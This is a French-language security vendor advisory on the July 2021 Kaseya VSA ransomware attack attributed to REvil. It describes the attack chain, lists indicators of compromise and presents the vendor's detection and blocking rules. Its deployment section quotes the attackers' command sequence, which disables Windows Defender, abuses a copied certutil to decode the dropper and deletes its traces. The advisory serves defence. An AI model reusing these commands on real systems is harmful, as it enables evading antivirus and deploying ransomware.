Début juillet 2021, plusieurs centaines d’entreprises sont victimes d’une attaque par ransomware. Une attaque qui aurait transité par un logiciel de gestion IT, VSA, propriété de l’entreprise américaine Kaseya. Le point sur une nouvelle cyberattaque d’envergure.
Le contexte de l'attaque
Le 2 juillet, des chercheurs de Huntress Labs ont découvert une nouvelle vague de ransomware sur plusieurs centaines d’entreprises. À l’origine de la cyberattaque, la compromission du logiciel de gestion VSA, propriété de l’entreprise Kaseya. Une attaque confirmée par l’éditeur dans une déclaration publiée le même jour sur son site web et attribuée pour le moment au groupe de cyber-criminels REvil.
Ce logiciel, déployé en SaaS, est utilisé pour superviser et gérer les systèmes d’information de dizaine de milliers de clients dans le monde. Sa compromission permet théoriquement aux cyber-criminels de compromettre l’ensemble des Service Provider revendeurs et leurs clients, soit aujourd’hui respectivement 40 et 1 000 entreprises, pour un total d’environ 1 million d’environnements. D’après les premiers éléments, il semblerait qu’au moins 60 clients soient déjà victimes de chiffrement, au moment où les membres du groupe REvil demandent une rançon de 70 millions de dollars contre la clé de déchiffrement.
Le vecteur initial de l'attaque
La compromission initiale de l’outil VSA semble avoir été réalisée par une injection SQL Zero-Day sur les servers frontaux Internet de VSA. Des serveurs utilisés pour la mise à jour des agents locaux de supervision de Kaseya (Agent Monitor).
La compromission du client final a, elle, été directement réalisée via l’outil Kaseya Agent Monitor, qui effectue lui-même le téléchargement depuis le VSA, présenté sous forme de Hotfix. Cet agent est exécuté dans un espace où l’analyse antivirale est désactivée (sur recommandation de Kaseya…), rendant l’exécution du malware aisé. Il est ensuite diffusé sur l’ensemble du SI, toujours via l’outil VSA.
Les détails techniques de l'attaque
Déploiement
Le dropper est chargé par l’Agent Monitor sous le nom AGENT.CRT dans le répertoire de mise à jour c:\Kworking\. L’Agent Monitor exécute ensuite les commandes suivantes :
ping 127.0.0.1 -n 7000 > nul
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe
echo %RANDOM% >> C:\Windows\cert.exe
C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking1\agent.exe
del /q /f c:\kworking\agent.crt C:\Windows\cert.exe
c:\kworking\agent.exe
Ces différentes commandes permettent de désactiver Windows Defender et d’utiliser cert.exe pour décoder le dropper.
Une fois exécuté, le logiciel AGENT.EXE charge un autre exécutable MSMPENG.EXE, signé par Microsoft afin de réaliser une « side-channel attaque » en chargeant le DLL corrompu MSMPENG.DLL.
Obfuscation
L’obfuscation est réalisée par un encodage en base 64. Mais le malware étant téléchargé dans un répertoire où l’antivirus est censé ne pas être actif, et via un flux « officiel » du logiciel, cette obfuscation n’est pas primordiale.
Chiffrement
Le ransomware et sa propagation sont ceux utilisés habituellement par REvil, à savoir Sodinokibi. Le chiffrement est réalisé sur les mêmes secteurs de disque que les documents sources, rendant impossible la récupération par analyse de disque.
IoC
IP source de l’exploit Zero-day sur le serveur VSA :
- 161[.]35[.]239[.]148
- 35[.]226[.]94[.]113
- 162[.]253[.124[.]162
- 18[.]223[.]199[.]234
Noms de fichiers sur les postes :
- AGENT.EXE
D55F983C994CAA160EC63A59F6B4250FE67FB3E8C43A388AEC60A4A6978E9F1E - MPSVC.DLL
8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD - AGENT.CRT
45AEBD60E3C4ED8D3285907F5BF6C71B3B60A9BCB7C34E246C20410CF678FC0C
Clé de registre :
- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BlackLivesMatter
L’utilisation d’un certificat signé par : PB03 TRANSPORT LTD
Les protections Stormshield
Ci-dessous, le détail des recommandations de configuration Stormshield et le détail de nos protections spécifiques à déployer.
Jeux de règles et signatures
1. SNS
Le jeu de signatures http:mix.337 et http:client.74 permet de protéger les serveurs Kaseya VSA contre la compromission initiale. La http:mix.337 détecte les requêtes Curl à destination du serveur, et la http:client.74 détecte le contenu des fichiers malveillants uploadé sur le serveur. Ces signatures sont automatiquement disponibles dans la configuration du SNS après l’auto-update.
Veuillez noter qu’elle nécessite que le flux soit déchiffré, par un équipement spécialisé (reverse-proxy, TAP de déchiffrement…), pour être efficace.
2. SES 7.2
SES 7.2 nécessite une configuration spécifique pour bloquer cette attaque. Pour cela, nous avons développé un pack de protection pour SES 7.2, téléchargeable sur mystormshield.eu, comprenant :
- L’autorisation d’exécution de l’exécutable agent fourni par la société Huntress ;
- Le blocage de la création et de l’exécution des différents binaires malveillants (cert.exe, msmpeng.exe, mpsvc.dll, agent.exe, agent.crt) utilisés pour cette attaque. Cette identification se base sur plusieurs critères : chemins, hash ou encore la signature par le certificat délivré à “PB03 TRANSPORT LTD.” ;
- Tout accès aux clés de registre spécifiques au ransomware Sodinokibi utilisé pendant l’attaque.
La politique fournie permet donc de bloquer l’attaque à de nombreux niveaux, empêchant avec certitude toute exécution du ransomware.
3. SES Evolution
La version disponible de SES Evolution, la 2.0.2, nécessite un jeu de règles spécifique pour bloquer cette attaque.
Afin de simplifier le déploiement, nous avons développé un pack de protection SES Evolution 2.0 spécifique qui intègre l’ensemble des protections du pack pour SES 7.2 et y ajoute le contrôle du chargement de la DLL malveillante et affine le contexte d’exécution du processus agent.exe. Tout comme SES 7.2, SES Evolution permet de bloquer l’attaque à de nombreux niveaux, empêchant avec certitude toute exécution du ransomware.
Avec la future version 2.1.0, disponible courant juillet, la nouvelle protection par corrélation dédiée à la détection de l’usage malveillant de l’outil certutil sera capable de bloquer ce type d’attaque nativement.
Recommandations de configuration
1. SNS
Nous recommandons de blacklister les quatre adresses IPs listées en IoC directement en entrée de votre réseau.
2. SES 7.2
Pas de recommandation particulière.
3. SES Evolution
Pas de recommandation particulière, à noter que la future version 2.2 de SES Evolution intégrera un moteur spécifique de détection de ransomware générique, en plus des différentes protections déjà existantes empêchant le fonctionnement des droppers.
Autres recommandations
Nous recommandons d’utiliser le script de détection de compromission de Kaseya, disponible ici : kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40